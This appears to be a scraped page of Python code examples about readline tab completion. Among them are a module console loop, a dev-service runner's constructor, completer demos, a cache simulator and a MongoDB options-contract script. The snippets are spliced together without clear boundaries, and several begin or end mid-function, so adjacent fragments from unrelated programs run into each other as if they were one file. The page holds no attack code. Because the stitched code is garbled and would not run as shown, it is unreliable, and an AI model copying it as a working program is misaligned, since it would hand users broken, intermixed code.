        elif user_input[0] in END_COMMANDS:
            cprint('[+] Killing warriors...', 'green')
            for p in Path("/tmp/").glob("ibs-*"):
                p.unlink()
            cprint('[+] Exit...', 'green')
            os._exit(-1)

        elif user_input[0] == 'load':
            if (len(user_input) == 1):
                cprint('[!] Please, load a module', 'red')
                continue
            session = Session(user_input[1])

            # The module is incorrect
            if not(session.correct_module()):
                cprint('[!] Invalid module', 'red')
                session = None

        elif user_input[0] == 'show':
            if session is None:
                cprint('[!] Please, load a module', 'red')
                continue
            session.show()

        elif user_input[0] == 'set':
            if session is None:
                cprint('[!] Please, load a module', 'red')
                continue
            else:
                value = ' '.join([str(x) for x in user_input[2:]])
                session.set(user_input[1], value)

        elif user_input[0] == 'run':
            if session is None:
                cprint('[!] Please, load a module', 'red')
                continue
            session.run()

        else:
            cprint('[!] Command not found', 'red')
    def __init__(
        self, command: str, rebuild: bool, config_path: str, nix: bool = False, settings_path: str = SETTINGS_PATH
    ):
        self._command = command
        self._rebuild: bool = rebuild
        self._nix: bool = nix  # Not currently supported
        self._config_path: str = config_path
        self._settings_path: str = settings_path

        assert command in RUNNER_COMMANDS

        # Some state flags/vars used by eg the UI/event loop
        self._primary_attached_app: Optional[Dict] = None
        self._shutdown: threading.Event = threading.Event()
        self._awaiting_input: bool = False
        self._suppress_log_printing: bool = False
        self._filter_logs: Sequence[str] = []
        self._use_docker_services: bool = False
        self._processes: dict = {}
        self._dmservices = None
        self._main_log_name = "manager"
        self.config: Dict = {}

        # Temporarily ignore SIGINT while setting up multiprocessing components.
        # START
        curr_signal = signal.getsignal(signal.SIGINT)
        signal.signal(signal.SIGINT, signal.SIG_IGN)

        self._manager = multiprocessing.Manager()
        self._apps: Dict[str, Dict[str, Any]] = self._manager.dict()

        signal.signal(signal.SIGINT, curr_signal)  # Probably a race condition?
        # END

        with open(self._settings_path) as settings_file:
            self.settings: dict = yaml.safe_load(settings_file.read())

        # load environment variables from settings file,
        # taking care not to override existing envvars
        if self.settings.get("environment"):
            for key, value in self.settings["environment"].items():
                if key not in os.environ:
                    self.logger(f"setting environment variable {key}")
                    os.environ[key] = str(value)

        self._main_log_name = "setup"
        # Handles initialization of external state required to run this correctly (repos, docker images, config, etc).
        exitcode, self._use_docker_services, self.config = setup_and_check_requirements(
            logger=self.logger,
            config=self.config,
            config_path=self._config_path,
            settings=self.settings,
            command=self._command,
        )

        if exitcode or self._command != RUNNER_COMMAND_RUN:
            self.shutdown()
            sys.exit(exitcode)

        self._inject_credentials()

        self._main_log_name = "manager"

        self._populate_multiprocessing_components()

        # Setup tab completion for app names.
        readline.parse_and_bind("tab: complete")
        readline.set_completer(self._app_name_completer)
        readline.set_completer_delims(" ")
        try:
            response = self.current_candidates[state]
        except IndexError:
            response = None
        logging.debug('completato(%s, %s) => %s', repr(text), state, response)
        return response


def input_loop():
    line = ''
    while line != 'stop':
        line = input('Prompt ("stop" per uscire): ')
        print('Inviato {}'.format(line))


# Registrazione della propria funzione di completamento
readline.set_completer(BufferAwareCompleter(
    {'elenca':['file', 'directory'],
     'stampa':['pernome', 'perdimensione'],
     'stop':[],
    }).complete)


# Uso del tasto tab per il completamento
readline.parse_and_bind('tab: complete')


# Prompt all'utente per il testo
input_loop()
Example #22
0
import atexit
import os
import sys
import gnureadline as readline

# Enable Tab Completion
# OSX's bind should only be applied with legacy readline.
if sys.platform == 'darwin' and 'libedit' in readline.__doc__:
    readline.parse_and_bind("bind ^I rl_complete")
else:
    readline.parse_and_bind("tab: complete")

# Enable History File
history_file = os.environ.get(
    "PYTHON_HISTORY_FILE", os.path.join(os.environ['HOME'], '.pythonhistory')
)

if os.path.isfile(history_file):
    readline.read_history_file(history_file)
else:
    open(history_file, 'a').close()

atexit.register(readline.write_history_file, history_file)
print("Initialized python REPL using {}".format(__file__))
            logging.debug('(empty input) matches: %s', self.matches)

        # Return the state'th item from the match list,
        # if that many items are present.
        try:
            response = self.matches[state]
        except IndexError:
            response = None
        logging.debug('complete(%s, %s) => %s', repr(text), state,
                      repr(response))

        return response


def input_loop():
    line = ''
    while line != 'stop':
        line = input('Prompt ("stop" to quit): ')
        print('Dispatch {}'.format(line))


# Register the completer function.
OPTIONS = ['start', 'stop', 'list', 'print']
readline.set_completer(SimpleCompleter(OPTIONS).complete)

# Use the tab key for completion.
readline.parse_and_bind('tab: complete')

# Prompt the user for text.
input_loop()
try:
    import gnureadline as readline
except ImportError:
    import readline

readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')

while True:
    line = input('Prompt ("stop" to quit): ')
    if line == 'stop':
        break
    print('ENTERED: {!r}'.format(line))
Example #25
0
              args.WRITE)

mapping_str = "2^{0}-way associative".format(args.MAPPING)
print("\nMemory size: " + str(mem_size) + " bytes (" +
      str(mem_size // block_size) + " blocks)")
print("Cache size: " + str(cache_size) + " bytes (" +
      str(cache_size // block_size) + " lines)")
print("Block size: " + str(block_size) + " bytes")
print("Mapping policy: " + ("direct" if mapping == 1 else mapping_str) + "\n")

# Setup Readline for history and completion
# See: https://pymotw.com/2/readline/
#  and https://pewpewthespells.com/blog/osx_readline.html
if 'libedit' in readline.__doc__:
    # macOS
    readline.parse_and_bind("bind ^I rl_complete")
else:
    # UNIX
    readline.parse_and_bind("tab: complete")
# TODO: test windows support?
readline.set_completer(
    SimpleCompleter([
        'quit', 'read', 'write', 'randread', 'randwrite', 'printcache',
        'printmem', 'stats'
    ]).complete)

# Setup simple logging
LOG_FILENAME = '.simulator.log'
logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG)
# TODO: add logging to other methods, too
Example #26
0
import re, pymongo, param, key, dateutil.parser, collections, datetime as dt, ast
import gnureadline

gnureadline.parse_and_bind('tab: complete')
gnureadline.parse_and_bind('set editing-mode vi')

client = pymongo.MongoClient()
db = client[key.keys['ledgerx-order']]
contracts = {}
contractsAll = {}
now = dt.datetime.utcnow()
for x in db['contracts'].find({'contracts': {
        '$exists': True
}}):  #.sort('$natural', -1):
    contracts.update({
        i['id']: i
        for i in x['contracts']
        if dateutil.parser.parse(i['date_expires']).replace(tzinfo=None) > now
    })
    contractsAll.update({i['id']: i for i in x['contracts']})

cKeys = set(contracts.keys())

Exps = collections.defaultdict(list)
Labels = {}
Ids = {}
for i, j in contracts.items():
    if j['derivative_type'] == 'options_contract':
        Ids[j['label']] = i
        Labels[i] = j['label']
        exp = dateutil.parser.parse(